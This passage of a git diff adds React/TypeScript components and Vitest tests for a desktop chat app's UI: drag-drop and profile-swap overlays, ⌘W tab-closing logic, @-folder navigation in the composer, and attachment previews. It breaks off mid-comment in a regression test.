+      <thead className="border-b border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) text-[0.625rem] uppercase tracking-[0.08em] text-(--ui-text-tertiary)">
+        <tr>
+          {ARTIFACT_COLUMNS.map(col => (
+            <th className={cn(col.width(filter), 'px-2.5 py-1.5 font-medium')} key={col.id}>
+              {col.header(filter, t.artifacts)}
+            </th>
+          ))}
+        </tr>
+      </thead>
+      <tbody>
+        {artifacts.map(artifact => (
+          <tr className="group/artifact" key={artifact.id}>
+            {ARTIFACT_COLUMNS.map(col => {
+              const Cell = col.Cell
+
+              return (
+                <td className={cn('align-middle', col.bodyClassName)} key={col.id}>
+                  <Cell artifact={artifact} ctx={ctx} />
+                </td>
+              )
+            })}
+          </tr>
+        ))}
+      </tbody>
+    </table>
+  )
+}
diff --git a/ui-desktop/src/app/chat/chat-drop-overlay.tsx b/ui-desktop/src/app/chat/chat-drop-overlay.tsx
new file mode 100644
index 000000000..37d8172eb
--- /dev/null
+++ b/ui-desktop/src/app/chat/chat-drop-overlay.tsx
@@ -0,0 +1,48 @@
+import { useRef } from 'react'
+
+import type { DragKind } from '@/app/chat/hooks/use-file-drop-zone'
+import { DROP_SHEET_BLUR_CLASS, DROP_SHEET_CLASS } from '@/components/ui/drop-affordance'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+/**
+ * Full-bleed affordance shown while files or a session are dragged over the chat
+ * area. Always `pointer-events-none` so the drop lands on the real element
+ * underneath and the drop-zone handler claims it — the overlay is purely visual.
+ * The label names the outcome (attach files / link this chat); the last kind is
+ * held through the fade-out so it doesn't blank.
+ */
+export function ChatDropOverlay({ kind }: { kind: DragKind }) {
+  const { t } = useI18n()
+  const lastKind = useRef<DragKind>(kind)
+
+  if (kind) {
+    lastKind.current = kind
+  }
+
+  const shown = kind ?? lastKind.current
+
+  return (
+    <div
+      aria-hidden
+      className={cn(
+        'pointer-events-none absolute inset-0 z-40 flex items-center justify-center transition-opacity duration-150 ease-out',
+        kind ? 'opacity-100' : 'opacity-0'
+      )}
+      data-slot="chat-drop-overlay"
+    >
+      <div
+        className={cn(
+          DROP_SHEET_CLASS,
+          DROP_SHEET_BLUR_CLASS,
+          'absolute inset-2 border-[color-mix(in_srgb,var(--dt-composer-ring)_55%,transparent)] bg-[color-mix(in_srgb,var(--dt-card)_55%,transparent)]'
+        )}
+      />
+      {shown && (
+        <span className="relative text-[11px] font-medium uppercase tracking-wide text-foreground">
+          {shown === 'session' ? t.composer.dropSession : t.composer.dropFiles}
+        </span>
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/chat-swap-overlay.tsx b/ui-desktop/src/app/chat/chat-swap-overlay.tsx
new file mode 100644
index 000000000..9715dbc45
--- /dev/null
+++ b/ui-desktop/src/app/chat/chat-swap-overlay.tsx
@@ -0,0 +1,47 @@
+import { useEffect, useState } from 'react'
+
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+// Braille spinner frames — reads as a tiny ASCII loader in monospace.
+const FRAMES = ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏']
+
+// Shown over the conversation while the live gateway swaps to another profile's
+// backend (lazily spawned). Keeps the last profile name through the fade-out so
+// the label doesn't blank. Purely visual — pointer-events-none.
+export function ChatSwapOverlay({ profile }: { profile: string | null }) {
+  const { t } = useI18n()
+  const [frame, setFrame] = useState(0)
+  const [label, setLabel] = useState<null | string>(profile)
+
+  useEffect(() => {
+    if (profile) {
+      setLabel(profile)
+    }
+  }, [profile])
+
+  useEffect(() => {
+    if (!profile) {
+      return
+    }
+
+    const id = window.setInterval(() => setFrame(value => (value + 1) % FRAMES.length), 80)
+
+    return () => window.clearInterval(id)
+  }, [profile])
+
+  return (
+    <div
+      aria-hidden
+      className={cn(
+        'pointer-events-none absolute inset-0 z-50 flex items-center justify-center transition-opacity duration-150 ease-out',
+        profile ? 'opacity-100' : 'opacity-0'
+      )}
+    >
+      <div className="flex items-center gap-2 bg-[color-mix(in_srgb,var(--dt-card)_92%,transparent)] px-4 py-2 font-mono text-[0.8125rem] text-foreground shadow-composer">
+        <span className="w-3 text-(--ui-accent)">{FRAMES[frame]}</span>
+        {t.composer.wakingProfile(label ?? '')}
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/close-tab.test.ts b/ui-desktop/src/app/chat/close-tab.test.ts
new file mode 100644
index 000000000..880e2edbb
--- /dev/null
+++ b/ui-desktop/src/app/chat/close-tab.test.ts
@@ -0,0 +1,142 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+const closeFocusedSessionTab = vi.fn(() => false)
+const closeFocusedToolTab = vi.fn(() => false)
+const nextSessionTileForWorkspace = vi.fn<() => null | string>(() => null)
+const closeSessionTile = vi.fn()
+const requestFreshSession = vi.fn()
+
+vi.mock('@/components/pane-shell/tree/store', () => ({
+  closeFocusedSessionTab: () => closeFocusedSessionTab(),
+  closeFocusedToolTab: () => closeFocusedToolTab()
+}))
+
+vi.mock('@/store/session-states', () => ({
+  closeSessionTile: (...args: unknown[]) => closeSessionTile(...args),
+  nextSessionTileForWorkspace: () => nextSessionTileForWorkspace()
+}))
+
+vi.mock('@/store/profile', () => ({
+  requestFreshSession: () => requestFreshSession()
+}))
+
+import { $previewTabs, closeRightRail, openPreview, type PreviewTarget } from '@/store/preview'
+import { $activeSessionId, $selectedStoredSessionId } from '@/store/session'
+
+import { $workspaceIsPage } from '../routes'
+
+import { closeActiveTab, closeWorkspaceTab } from './close-tab'
+
+function fileTarget(path: string): PreviewTarget {
+  return {
+    kind: 'file',
+    label: path,
+    path,
+    previewKind: 'text',
+    source: path,
+    url: `file://${path}`
+  }
+}
+
+/** Main is holding a loaded chat and nothing else is stacked with it. */
+function loadedMainOnly() {
+  $selectedStoredSessionId.set('stored-a')
+  $activeSessionId.set('runtime-a')
+}
+
+beforeEach(() => {
+  vi.stubGlobal('document', { activeElement: null })
+  closeRightRail()
+  window.localStorage.clear()
+  $selectedStoredSessionId.set(null)
+  $activeSessionId.set(null)
+  $workspaceIsPage.set(false)
+  closeFocusedSessionTab.mockReturnValue(false)
+  closeFocusedToolTab.mockReturnValue(false)
+  nextSessionTileForWorkspace.mockReturnValue(null)
+  vi.clearAllMocks()
+})
+
+afterEach(() => {
+  vi.unstubAllGlobals()
+  closeRightRail()
+  window.localStorage.clear()
+})
+
+describe('closeActiveTab', () => {
+  // Preview tabs are layout-tree panes now, so ⌘W reaches them through the
+  // focused-zone rungs (closeFocusedSessionTab / closeFocusedToolTab → the
+  // pane's registered closer) rather than a rail-shaped special case. Open
+  // previews must therefore NOT claim the key on their own.
+  it('leaves ⌘W to the zone rungs even with previews open', () => {
+    openPreview(fileTarget('/work/notes.md'), 'manual')
+    closeFocusedToolTab.mockReturnValue(true)
+
+    expect($previewTabs.get()).toHaveLength(1)
+    expect(closeActiveTab()).toBe(true)
+    // The zone closed its own tab; the rail store was never consulted.
+    expect($previewTabs.get()).toHaveLength(1)
+  })
+})
+
+/**
+ * The main tab's own close. The workspace pane can never leave the tree, so
+ * every answer here is about what FILLS it — a stacked session, or an empty
+ * draft. The gesture used to dead-end whenever main was the only tab.
+ */
+describe('closeWorkspaceTab', () => {
+  it('shifts the next stacked session into main', () => {
+    loadedMainOnly()
+    nextSessionTileForWorkspace.mockReturnValue('stored-b')
+    const load = vi.fn()
+
+    expect(closeWorkspaceTab(load)).toBe(true)
+    expect(closeSessionTile).toHaveBeenCalledWith('stored-b')
+    expect(load).toHaveBeenCalledWith('stored-b')
+    // Promotion refills main — it must not ALSO blank it.
+    expect(requestFreshSession).not.toHaveBeenCalled()
+  })
+
+  it('drops a lone loaded main to a fresh draft', () => {
+    loadedMainOnly()
+
+    expect(closeWorkspaceTab(vi.fn())).toBe(true)
+    expect(requestFreshSession).toHaveBeenCalledTimes(1)
+  })
+
+  it('empties main even with no session loader wired', () => {
+    loadedMainOnly()
+
+    expect(closeWorkspaceTab()).toBe(true)
+    expect(requestFreshSession).toHaveBeenCalledTimes(1)
+  })
+
+  it('is a no-op on a blank draft — that IS the post-close state', () => {
+    expect(closeWorkspaceTab(vi.fn())).toBe(false)
+    expect(requestFreshSession).not.toHaveBeenCalled()
+  })
+
+  it('is a no-op over a full-page view, which owns no chat tab', () => {
+    loadedMainOnly()
+    $workspaceIsPage.set(true)
+
+    expect(closeWorkspaceTab(vi.fn())).toBe(false)
+    expect(requestFreshSession).not.toHaveBeenCalled()
+  })
+
+  it('⌘W reaches it once the terminal and zone tabs pass', () => {
+    loadedMainOnly()
+
+    expect(closeActiveTab(vi.fn())).toBe(true)
+    expect(requestFreshSession).toHaveBeenCalledTimes(1)
+  })
+
+  it('a focused tool panel (terminal / logs) claims ⌘W before main empties', () => {
+    loadedMainOnly()
+    closeFocusedToolTab.mockReturnValue(true)
+
+    expect(closeActiveTab(vi.fn())).toBe(true)
+    // The logs/terminal tab closed — main keeps its loaded chat.
+    expect(requestFreshSession).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/chat/close-tab.ts b/ui-desktop/src/app/chat/close-tab.ts
new file mode 100644
index 000000000..430413890
--- /dev/null
+++ b/ui-desktop/src/app/chat/close-tab.ts
@@ -0,0 +1,89 @@
+import { mainChatOccupied } from '@/app/open-session'
+import { closeActiveTerminal } from '@/app/right-sidebar/terminal/terminals'
+import { $workspaceIsPage } from '@/app/routes'
+import { closeFocusedSessionTab, closeFocusedToolTab } from '@/components/pane-shell/tree/store'
+import { isFocusWithin } from '@/lib/keybinds/combo'
+import { requestFreshSession } from '@/store/profile'
+import { $activeSessionId, $selectedStoredSessionId } from '@/store/session'
+import { closeSessionTile, nextSessionTileForWorkspace } from '@/store/session-states'
+
+/**
+ * Close the MAIN tab. The workspace pane itself can't leave the tree, so
+ * "closing" it means emptying it, and what fills the hole depends on what's
+ * stacked beside it:
+ *
+ *  - session tabs stacked with it → the next one shifts INTO main (drop its
+ *    tile, load it as the primary — the session stays alive, no busy prompt),
+ *  - nothing stacked → main drops to a fresh "New session" draft.
+ *
+ * The second half is what makes the gesture honest when main is the ONLY tab:
+ * ⌘W / ⌘-click / middle-click used to be a dead key there, since the only
+ * available answer was "remove the pane", which this app never does.
+ *
+ * Returns false when there is nothing to close — a blank draft (already the
+ * post-close state) or a full-page view (skills / artifacts, which isn't a
+ * chat and owns no tab). ⌘W then stays a no-op; it never closes the window.
+ *
+ * `loadSessionIntoWorkspace` carries the app's route-based "load this session
+ * into main"; omitting it disables the promotion half.
+ */
+export function closeWorkspaceTab(loadSessionIntoWorkspace?: (storedSessionId: string) => void): boolean {
+  // Order matters — close the tile FIRST so the selection homes to the
+  // workspace instead of re-fronting the tile.
+  if (loadSessionIntoWorkspace) {
+    const next = nextSessionTileForWorkspace()
+
+    if (next) {
+      closeSessionTile(next)
+      loadSessionIntoWorkspace(next)
+
+      return true
+    }
+  }
+
+  if ($workspaceIsPage.get() || !mainChatOccupied($activeSessionId.get(), $selectedStoredSessionId.get())) {
+    return false
+  }
+
+  requestFreshSession()
+
+  return true
+}
+
+/**
+ * ⌘W — close the tab of the context you're in, by precedence:
+ *   1. a focused terminal → its active terminal tab,
+ *   2. the FOCUSED chat zone → its active tab (a session tile stacked into it).
+ *   3. a focused TOOL PANEL zone (terminal / logs) → its active tab.
+ *   4. the workspace tab itself — see `closeWorkspaceTab`.
+ * Returns false when nothing closes, so ⌘W is a no-op — it never closes the
+ * window. Shared by the keyboard path (Win/Linux) and the macOS
+ * menu-accelerator IPC.
+ *
+ * Preview tabs need no rung of their own: they are layout-tree panes like any
+ * other tab, so the focused-zone rungs close them through `closeTabPane`.
+ *
+ * Steps 2-4 follow the same focused zone ⌘1…⌘9 indexes, so a second chat zone
+ * with its own tab strip closes ITS tab instead of main's.
+ */
+export function closeActiveTab(loadSessionIntoWorkspace?: (storedSessionId: string) => void): boolean {
+  if (isFocusWithin('[data-terminal]')) {
+    closeActiveTerminal()
+
+    return true
+  }
+
+  // A closeable tab in the focused chat zone (a session tile that's the active
+  // tab) closes outright; the uncloseable workspace tab falls through.
+  if (closeFocusedSessionTab()) {
+    return true
+  }
+
+  // A tool panel zone hosts no chat strip, so the chat rung skips it — but its
+  // tabs close like any other. Without this ⌘W was dead over terminal / logs.
+  if (closeFocusedToolTab()) {
+    return true
+  }
+
+  return closeWorkspaceTab(loadSessionIntoWorkspace)
+}
diff --git a/ui-desktop/src/app/chat/composer/at-folder-navigation.test.tsx b/ui-desktop/src/app/chat/composer/at-folder-navigation.test.tsx
new file mode 100644
index 000000000..25df1140c
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/at-folder-navigation.test.tsx
@@ -0,0 +1,180 @@
+import type { Unstable_TriggerItem } from '@assistant-ui/core'
+import { act, renderHook } from '@testing-library/react'
+import { createRef } from 'react'
+import { describe, expect, it, vi } from 'vitest'
+
+import { useComposerTrigger } from './hooks/use-composer-trigger'
+import { composerPlainText, renderComposerContents, RICH_INPUT_SLOT } from './rich-editor'
+
+/**
+ * Folder navigation in the `@` popover, driven through the REAL hook against a
+ * real contentEditable.
+ *
+ * Tab and Enter used to be the same branch, so picking a folder always
+ * committed a chip and closed the menu — there was no way to walk into a
+ * subdirectory from the list. Tab now descends, Enter still commits, and
+ * Backspace climbs back out one segment.
+ */
+function folderItem(path: string): Unstable_TriggerItem {
+  return {
+    id: `@folder:${path}|0`,
+    type: 'folder',
+    label: path.split('/').filter(Boolean).pop() ?? path,
+    metadata: {
+      icon: 'folder',
+      display: path,
+      meta: 'dir',
+      rawText: `@folder:${path}`,
+      insertId: path
+    }
+  }
+}
+
+function setup(initialText: string) {
+  const editor = document.createElement('div')
+  editor.contentEditable = 'true'
+  // The real composer marks its editor with this slot; `composerPlainText`
+  // keys off it to decide whether a DIV contributes a trailing newline.
+  // Without it the harness would silently diverge from production text.
+  editor.dataset.slot = RICH_INPUT_SLOT
+  document.body.append(editor)
+  renderComposerContents(editor, initialText)
+
+  // Caret at the end, which is where a typed trigger always leaves it.
+  const range = document.createRange()
+  range.selectNodeContents(editor)
+  range.collapse(false)
+  const sel = window.getSelection()
+  sel?.removeAllRanges()
+  sel?.addRange(range)
+
+  const editorRef = createRef<HTMLDivElement>() as { current: HTMLDivElement | null }
+  editorRef.current = editor
+
+  const draftRef = { current: initialText }
+  const setComposerText = vi.fn()
+
+  const { result } = renderHook(() =>
+    useComposerTrigger({
+      at: { adapter: null, loading: false },
+      draftRef,
+      editorRef,
+      requestMainFocus: vi.fn(),
+      setComposerText,
+      slash: { adapter: null, loading: false }
+    })
+  )
+
+  act(() => {
+    result.current.refreshTrigger()
+  })
+
+  return { editor, result, setComposerText }
+}
+
+describe('@ folder navigation', () => {
+  it('Tab on a folder walks into it and keeps the popover open', () => {
+    const { editor, result } = setup('@app')
+
+    expect(result.current.trigger).toMatchObject({ kind: '@', query: 'app' })
+
+    act(() => {
+      result.current.replaceTriggerWithChip(folderItem('apps'), { descend: true })
+    })
+
+    // Plain text, not a chip — the token is still being typed.
+    expect(composerPlainText(editor)).toBe('@apps/')
+    expect(editor.querySelector('[data-ref-text]')).toBeNull()
+  })
+
+  it('descends repeatedly, one level per Tab', () => {
+    const { editor, result } = setup('@apps/desk')
+
+    act(() => {
+      result.current.replaceTriggerWithChip(folderItem('apps/desktop'), { descend: true })
+    })
+
+    expect(composerPlainText(editor)).toBe('@apps/desktop/')
+  })
+
+  it('Enter on a folder commits it as a chip instead of descending', () => {
+    const { editor, result } = setup('@app')
+
+    act(() => {
+      result.current.replaceTriggerWithChip(folderItem('apps'))
+    })
+
+    const chip = editor.querySelector('[data-ref-text]')
+
+    expect(chip).not.toBeNull()
+    expect(chip?.getAttribute('data-ref-kind')).toBe('folder')
+    expect(composerPlainText(editor)).toContain('@folder:')
+  })
+
+  it('only descends for `@` folders — a file pick still commits', () => {
+    const { editor, result } = setup('@main')
+
+    const file: Unstable_TriggerItem = {
+      id: '@file:src/main.tsx|0',
+      type: 'file',
+      label: 'main.tsx',
+      metadata: {
+        icon: 'file',
+        display: 'main.tsx',
+        meta: 'src',
+        rawText: '@file:src/main.tsx',
+        insertId: 'src/main.tsx'
+      }
+    }
+
+    act(() => {
+      result.current.replaceTriggerWithChip(file, { descend: true })
+    })
+
+    expect(editor.querySelector('[data-ref-kind="file"]')).not.toBeNull()
+  })
+
+  it('Backspace climbs out one segment at a time', () => {
+    const { editor, result } = setup('@apps/desktop/')
+
+    let handled = false
+    act(() => {
+      handled = result.current.ascendTriggerPath()
+    })
+
+    expect(handled).toBe(true)
+    expect(composerPlainText(editor)).toBe('@apps/')
+  })
+
+  it('Backspace drops a partially typed segment before its parent', () => {
+    const { editor, result } = setup('@apps/desk')
+
+    act(() => {
+      result.current.ascendTriggerPath()
+    })
+
+    expect(composerPlainText(editor)).toBe('@apps/')
+  })
+
+  it('leaves Backspace alone when there is no path to climb', () => {
+    const { result } = setup('@apps')
+
+    let handled = true
+    act(() => {
+      handled = result.current.ascendTriggerPath()
+    })
+
+    // No `/` in the query — normal character deletion must still happen.
+    expect(handled).toBe(false)
+  })
+
+  it('preserves text typed before the mention', () => {
+    const { editor, result } = setup('look at @app')
+
+    act(() => {
+      result.current.replaceTriggerWithChip(folderItem('apps'), { descend: true })
+    })
+
+    expect(composerPlainText(editor)).toBe('look at @apps/')
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/attachments.test.tsx b/ui-desktop/src/app/chat/composer/attachments.test.tsx
new file mode 100644
index 000000000..b405b011d
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/attachments.test.tsx
@@ -0,0 +1,111 @@
+import { act, cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { I18nProvider } from '@/i18n/context'
+import type { ComposerAttachment } from '@/store/composer'
+import { $previewTabs } from '@/store/preview'
+
+import { AttachmentList } from './attachments'
+
+const DATA_URL = 'data:image/png;base64,iVBORw0KGgoAAAANS'
+
+function makeAttachment(id: string, label = 'test.pdf'): ComposerAttachment {
+  return { id, kind: 'file', label }
+}
+
+async function renderWithI18n(ui: React.ReactNode) {
+  let result: ReturnType<typeof render>
+  await act(async () => {
+    result = render(
+      <I18nProvider configClient={{ getConfig: async () => ({}), saveConfig: async () => ({ ok: true }) }}>
+        {ui}
+      </I18nProvider>
+    )
+  })
+
+  return result!
+}
+
+describe('AttachmentList', () => {
+  afterEach(() => {
+    cleanup()
+  })
+
+  it('renders valid attachments', async () => {
+    const attachments = [makeAttachment('a', 'doc.pdf'), makeAttachment('b', 'img.png')]
+    await renderWithI18n(<AttachmentList attachments={attachments} />)
+    expect(screen.getByText('doc.pdf')).toBeDefined()
+    expect(screen.getByText('img.png')).toBeDefined()
+  })
+
+  it('renders empty list without error', async () => {
+    const { container } = await renderWithI18n(<AttachmentList attachments={[]} />)
+
+    const attachmentList = container.querySelector('[data-slot="composer-attachments"]')
+
+    expect(attachmentList).toBeDefined()
+  })
+
+  it('does not crash when attachments array contains undefined entries', async () => {
+    // Repro: session switch can leave stale/undefined entries in the
+    // attachments array, causing a TypeError at attachment.refText.
+    const attachments = [
+      makeAttachment('a', 'good.pdf'),
+      undefined as unknown as ComposerAttachment,
+      makeAttachment('b', 'also-good.png')
+    ]
+
+    await expect(renderWithI18n(<AttachmentList attachments={attachments} />)).resolves.toBeTruthy()
+
+    // Only valid attachments should render
+    expect(screen.getByText('good.pdf')).toBeDefined()
+    expect(screen.getByText('also-good.png')).toBeDefined()
+  })
+
+  it('does not crash when attachments array contains null entries', async () => {
+    const attachments = [null as unknown as ComposerAttachment, makeAttachment('a', 'valid.txt')]
+
+    await expect(renderWithI18n(<AttachmentList attachments={attachments} />)).resolves.toBeTruthy()
+
+    expect(screen.getByText('valid.txt')).toBeDefined()
+  })
+
+  it('opens an attached image in the lightbox, not the preview rail', async () => {
+    $previewTabs.set([])
+
+    const image: ComposerAttachment = {
+      id: 'img',
+      kind: 'image',
+      label: 'shot.png',
+      path: '/tmp/shot.png',
+      previewUrl: DATA_URL
+    }
+
+    await renderWithI18n(<AttachmentList attachments={[image]} />)
+
+    await act(async () => {
+      fireEvent.click(screen.getByRole('button', { name: /shot\.png/ }))
+    })
+
+    // The lightbox renders the full-size image in a dialog; the rail stays empty.
+    const lightbox = await screen.findByRole('dialog')
+
+    expect(lightbox.querySelector<HTMLImageElement>('img')?.src).toBe(DATA_URL)
+    expect($previewTabs.get()).toHaveLength(0)
+  })
+
+  it('still routes a non-image attachment to the preview rail', async () => {
+    $previewTabs.set([])
+
+    const file: ComposerAttachment = { id: 'doc', kind: 'file', label: 'notes.md', path: '/tmp/notes.md' }
+
+    await renderWithI18n(<AttachmentList attachments={[file]} />)
+
+    await act(async () => {
+      fireEvent.click(screen.getByRole('button', { name: /notes\.md/ }))
+    })
+
+    expect(screen.queryByRole('dialog')).toBeNull()
+    expect($previewTabs.get().map(tab => tab.target.path)).toEqual(['/tmp/notes.md'])
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/attachments.tsx b/ui-desktop/src/app/chat/composer/attachments.tsx
new file mode 100644
index 000000000..cb42dc9f1
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/attachments.tsx
@@ -0,0 +1,169 @@
+import { useStore } from '@nanostores/react'
+import { useState } from 'react'
+
+import { useSessionView } from '@/app/chat/session-view'
+import { ImageLightbox } from '@/components/chat/zoomable-image'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip } from '@/components/ui/tooltip'
+import { useImageDownload } from '@/hooks/use-image-download'
+import { useI18n } from '@/i18n'
+import { AlertCircle, FileText, FolderOpen, ImageIcon, Link, Loader2, Terminal } from '@/lib/icons'
+import { normalizeOrLocalPreviewTarget } from '@/lib/local-preview'
+import { cn } from '@/lib/utils'
+import type { ComposerAttachment } from '@/store/composer'
+import { notifyError } from '@/store/notifications'
+import { openPreview } from '@/store/preview'
+
+export function AttachmentList({
+  attachments,
+  onRemove
+}: {
+  attachments: ComposerAttachment[]
+  onRemove?: (id: string) => void
+}) {
+  return (
+    <div className="flex max-w-full flex-wrap gap-1.5 px-1 pt-1" data-slot="composer-attachments">
+      {attachments.filter(Boolean).map(attachment => (
+        <AttachmentPill attachment={attachment} key={attachment.id} onRemove={onRemove} />
+      ))}
+    </div>
+  )
+}
+
+function AttachmentPill({ attachment, onRemove }: { attachment: ComposerAttachment; onRemove?: (id: string) => void }) {
+  const { t } = useI18n()
+  const c = t.composer
+  const Icon = { folder: FolderOpen, url: Link, image: ImageIcon, file: FileText, terminal: Terminal }[attachment.kind]
+  // The tile's cwd when this pill lives in a tile composer, not the primary's:
+  // a relative attachment path has to resolve against its own session's root.
+  const cwd = useStore(useSessionView().$cwd)
+  const isUploading = attachment.uploadState === 'uploading'
+  const hasUploadError = attachment.uploadState === 'error'
+  const canPreview = attachment.kind !== 'folder' && attachment.kind !== 'terminal' && !isUploading
+  const detail = attachment.detail && attachment.detail !== attachment.label ? attachment.detail : undefined
+  // An attached image already holds its full bytes as a data URL, so it belongs
+  // in the same lightbox the thread uses. The rail is for files you read or
+  // edit — not a picture you just want to look at. Images that never resolved a
+  // thumbnail still fall through to the rail rather than dead-clicking.
+  const lightboxSrc = attachment.kind === 'image' && !isUploading ? attachment.previewUrl : undefined
+  const [lightboxOpen, setLightboxOpen] = useState(false)
+  const { download, saving } = useImageDownload(lightboxSrc)
+
+  async function openAttachment() {
+    if (!canPreview) {
+      return
+    }
+
+    if (lightboxSrc) {
+      setLightboxOpen(true)
+
+      return
+    }
+
+    const rawTarget =
+      attachment.path ||
+      attachment.detail ||
+      attachment.refText?.replace(/^@(file|image|url):/, '') ||
+      attachment.label ||
+      ''
+
+    const target = rawTarget.replace(/^`|`$/g, '')
+
+    if (!target) {
+      return
+    }
+
+    try {
+      const preview = await normalizeOrLocalPreviewTarget(target, cwd || undefined)
+
+      if (!preview) {
+        throw new Error(c.couldNotPreview(attachment.label))
+      }
+
+      openPreview(preview, 'manual')
+    } catch (error) {
+      notifyError(error, c.previewUnavailable)
+    }
+  }
+
+  return (
+    <>
+      <Tip label={attachment.path || attachment.detail || attachment.label}>
+        <div className="group/attachment relative min-w-0 shrink-0">
+          <button
+            aria-busy={isUploading || undefined}
+            aria-label={canPreview ? c.previewLabel(attachment.label) : attachment.label}
+            className={cn(
+              'flex max-w-56 items-center gap-2 rounded-2xl border bg-background/50 px-2 py-1.5 text-left shadow-[inset_0_1px_0_rgba(255,255,255,0.18)] transition-colors disabled:cursor-default',
+              hasUploadError
+                ? 'border-destructive/45 hover:border-destructive/60'
+                : 'border-border/60 hover:border-primary/35 hover:bg-accent/45'
+            )}
+            disabled={!canPreview}
+            onClick={() => void openAttachment()}
+            type="button"
+          >
+            <span className="relative grid size-8 shrink-0 place-items-center overflow-hidden rounded-lg border border-border/55 bg-muted/35 text-muted-foreground">
+              {attachment.previewUrl && attachment.kind === 'image' ? (
+                <img
+                  alt={attachment.label}
+                  className="size-full object-cover"
+                  draggable={false}
+                  src={attachment.previewUrl}
+                />
+              ) : (
+                <Icon className="size-3.5" />
+              )}
+              {isUploading && (
+                <span className="absolute inset-0 grid place-items-center bg-background/60 backdrop-blur-[1px]">
+                  <Loader2 className="size-3.5 animate-spin text-foreground/75" />
+                </span>
+              )}
+              {hasUploadError && (
+                <span className="absolute inset-0 grid place-items-center bg-destructive/15">
+                  <AlertCircle className="size-3.5 text-destructive" />
+                </span>
+              )}
+            </span>
+            <span className="min-w-0">
+              <span className="block truncate text-[0.72rem] font-medium leading-4 text-foreground/90">
+                {attachment.label}
+              </span>
+              {detail && (
+                <span
+                  className={cn(
+                    'block truncate text-[0.62rem] leading-3.5',
+                    hasUploadError ? 'text-destructive/80' : 'text-muted-foreground/65'
+                  )}
+                >
+                  {detail}
+                </span>
+              )}
+            </span>
+          </button>
+          {onRemove && (
+            <button
+              aria-label={c.removeAttachment(attachment.label)}
+              className="absolute -right-1 -top-1 grid size-3.5 place-items-center rounded-full border border-border/70 bg-background text-muted-foreground opacity-0 shadow-xs transition hover:bg-accent hover:text-foreground group-hover/attachment:opacity-100 focus-visible:opacity-100"
+              onClick={() => onRemove(attachment.id)}
+              type="button"
+            >
+              <Codicon name="close" size="0.625rem" />
+            </button>
+          )}
+        </div>
+      </Tip>
+      {lightboxSrc && (
+        <ImageLightbox
+          alt={attachment.label}
+          copy={t.desktop}
+          onClick={download}
+          onOpenChange={setLightboxOpen}
+          open={lightboxOpen}
+          saving={saving}
+          src={lightboxSrc}
+        />
+      )}
+    </>
+  )
+}
diff --git a/ui-desktop/src/app/chat/composer/completion-drawer.tsx b/ui-desktop/src/app/chat/composer/completion-drawer.tsx
new file mode 100644
index 000000000..1f07c235b
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/completion-drawer.tsx
@@ -0,0 +1,51 @@
+import type { Unstable_TriggerAdapter } from '@assistant-ui/core'
+import { ComposerPrimitive } from '@assistant-ui/react'
+import type { ReactNode } from 'react'
+
+import { composerPanelCard } from '@/components/chat/composer-dock'
+import { cn } from '@/lib/utils'
+
+// A standalone glassy panel floating just off the composer edge, inset from the
+// left. Skin is the shared composerPanelCard (also used by the attach menu).
+const DRAWER_SHELL = cn(
+  'absolute left-2 z-50 w-80 max-w-[calc(100%-1rem)] max-h-[min(22rem,calc(100vh-8rem))]',
+  'overflow-y-auto overscroll-contain p-1 text-popover-foreground',
+  composerPanelCard
+)
+
+export const COMPLETION_DRAWER_CLASS = cn(DRAWER_SHELL, 'bottom-full mb-1')
+
+export const COMPLETION_DRAWER_BELOW_CLASS = cn(DRAWER_SHELL, 'top-full mt-1')
+
+export function ComposerCompletionDrawer({
+  adapter,
+  ariaLabel,
+  char,
+  children
+}: {
+  adapter: Unstable_TriggerAdapter
+  ariaLabel: string
+  char: string
+  children: ReactNode
+}) {
+  return (
+    <ComposerPrimitive.Unstable_TriggerPopover
+      adapter={adapter}
+      aria-label={ariaLabel}
+      char={char}
+      className={COMPLETION_DRAWER_CLASS}
+      data-slot="composer-completion-drawer"
+    >
+      {children}
+    </ComposerPrimitive.Unstable_TriggerPopover>
+  )
+}
+
+export function CompletionDrawerEmpty({ children, title }: { children?: ReactNode; title: string }) {
+  return (
+    <div className="px-3 py-3 text-xs text-(--ui-text-tertiary)">
+      <p>{title}</p>
+      {children && <p className="mt-1 text-xs text-(--ui-text-tertiary)">{children}</p>}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/composer/composer-text-guard.test.tsx b/ui-desktop/src/app/chat/composer/composer-text-guard.test.tsx
new file mode 100644
index 000000000..6c598c5a8
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/composer-text-guard.test.tsx
@@ -0,0 +1,106 @@
+// @vitest-environment jsdom
+import { act, cleanup, render } from '@testing-library/react'
+import { useCallback, useRef } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+afterEach(cleanup)
+
+// Regression repro for #49903: on desktop v0.17.0 the composer threw an
+// uncaught `Error: Composer is not available` at startup and the input went
+// unresponsive. The throw comes from @assistant-ui/core's composer-runtime —
+// every *mutator* (setText/send/…) does `if (!core) throw new Error("Composer
+// is not available")` when the thread's composer core isn't bound yet. Unlike
+// the read path (`s.composer.text`, which is null-safe: `runtime?.text ?? ""`),
+// the mutators have no graceful fallback. ChatBar's mount-time effects (draft
+// restore, clearDraft, external inserts) push text via `aui.composer().setText`
+// before the core binds, and the popout refactor (#49488) widened that window,
+// so the throw surfaced as an uncaught error that wedged the input.
+//
+// The fix wraps every `aui.composer().setText` call in a `setComposerText`
+// helper that swallows the unbound-core throw — the contentEditable DOM +
+// draftRef already hold the text and the draft⇄editor sync re-applies it once
+// the core attaches, so nothing is lost. This Harness mirrors that helper
